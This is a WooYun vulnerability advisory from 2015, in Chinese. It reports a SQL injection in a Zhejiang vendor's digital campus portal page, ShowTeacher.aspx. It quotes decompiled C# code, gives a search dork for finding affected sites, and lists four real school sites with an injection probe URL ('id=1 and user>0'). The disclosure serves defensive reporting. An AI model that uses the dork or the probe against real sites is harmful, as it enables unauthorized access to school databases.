当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105458

漏洞标题:某通用数字化校园平台#SQL6

相关厂商:浙江皓翰科技有限公司

漏洞作者: 路人甲

提交时间:2015-04-03 10:28

修复时间:2015-07-07 08:16

公开时间:2015-07-07 08:16

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-08: 厂商已经确认,细节仅向厂商公开
2015-04-11: 细节向第三方安全合作伙伴开放
2015-06-02: 细节向核心白帽子及相关领域专家公开
2015-06-12: 细节向普通白帽子公开
2015-06-22: 细节向实习白帽子公开
2015-07-07: 细节向公众公开

简要描述:

RT

详细说明:

关键词:inurl:IneduPortal/index.aspx

厂商:浙江皓翰科技有限公司
官网:http://www.yuysoft.com/index.asp


文件:IneduPortal/Components/Teacher/ShowTeacher.aspx
代码:

private void Page_Load(object sender, EventArgs e)
{
this.BindConfine(CommFun.CleanInput(this.Request.QueryString["id"]));
int value = Conversions.ToInteger(this.Request["famid"]);
int num = 0;
string text = "select * from FamousTeacher where famid=" + Conversions.ToString(value);
SqlDataReader sqlDataReader = SqlHelper.ExecuteReader(BasePage.strConnect, 1, text);
if (sqlDataReader.Read())
{
this.Brief.Text = Conversions.ToString(sqlDataReader["brief"]);
num = Conversions.ToInteger(sqlDataReader["TeacherId"]);
string text2 = Conversions.ToString(Operators.ConcatenateObject("../../upsource/teacher/images/", sqlDataReader["photo"]));
string path = this.Server.MapPath(text2);
if (!File.Exists(path))
{
this.TPic.ImageUrl = "../../images/default/images/sorry.gif";
}
else
{
this.TPic.ImageUrl = text2;
}
}
sqlDataReader.Close();
if (num != 0)
{
text = "select * from TB_Teacher_Experience where bas_id=" + Conversions.ToString(num) + " and cod_id='01'";
sqlDataReader = SqlHelper.ExecuteReader(BasePage.erpConnect, 1, text);
while (sqlDataReader.Read())
{
Label expInfo = this.ExpInfo;
expInfo.Text = Conversions.ToString(Operators.AddObject(expInfo.Text, Operators.ConcatenateObject(sqlDataReader["Exp_Infor"], "<br>")));
}
sqlDataReader.Close();
text = "select * from VW_Teacher_Infor where bas_id=" + Conversions.ToString(num);
sqlDataReader = SqlHelper.ExecuteReader(BasePage.erpConnect, 1, text);
if (sqlDataReader.Read())
{
this.TName.Text = Conversions.ToString(sqlDataReader["bas_name"]);
this.TSex.Text = Conversions.ToString(sqlDataReader["bas_sex"]);
this.Tschool.Text = Conversions.ToString(sqlDataReader["sch_ShortName"]);
this.T_Nation.Text = Conversions.ToString(sqlDataReader["bas_Nationality"]);
this.T_Skill.Text = Conversions.ToString(Interaction.IIf(Information.IsDBNull(RuntimeHelpers.GetObjectValue(sqlDataReader["bas_skill"])), "无", RuntimeHelpers.GetObjectValue(sqlDataReader["bas_skill"])));
}
sqlDataReader.Close();
}
}


this.BindConfine(CommFun.CleanInput(this.Request.QueryString["id"])); //可以看到这里的id没有int定义整数型,导致注入产生。

漏洞证明:

相关案例:

http://www.cpdxx.com/IneduPortal/Components/Teacher/ShowTeacher.aspx?famid=1&id=1%20and
%20user>0
http://sndyxx.cn/IneduPortal/Components/Teacher/ShowTeacher.aspx?famid=1&id=1%20and
%20user>0
http://www.fhqcxx.com/IneduPortal/Components/Teacher/ShowTeacher.aspx?famid=1&id=1%20and
%20user>0
http://www.gx2x.cn/IneduPortal/Components/Teacher/ShowTeacher.aspx?famid=1&id=1%20and
%20user>0


QQ图片20150402194909.jpg


QQ图片20150402194927.jpg

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-04-08 08:14

厂商回复:

暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无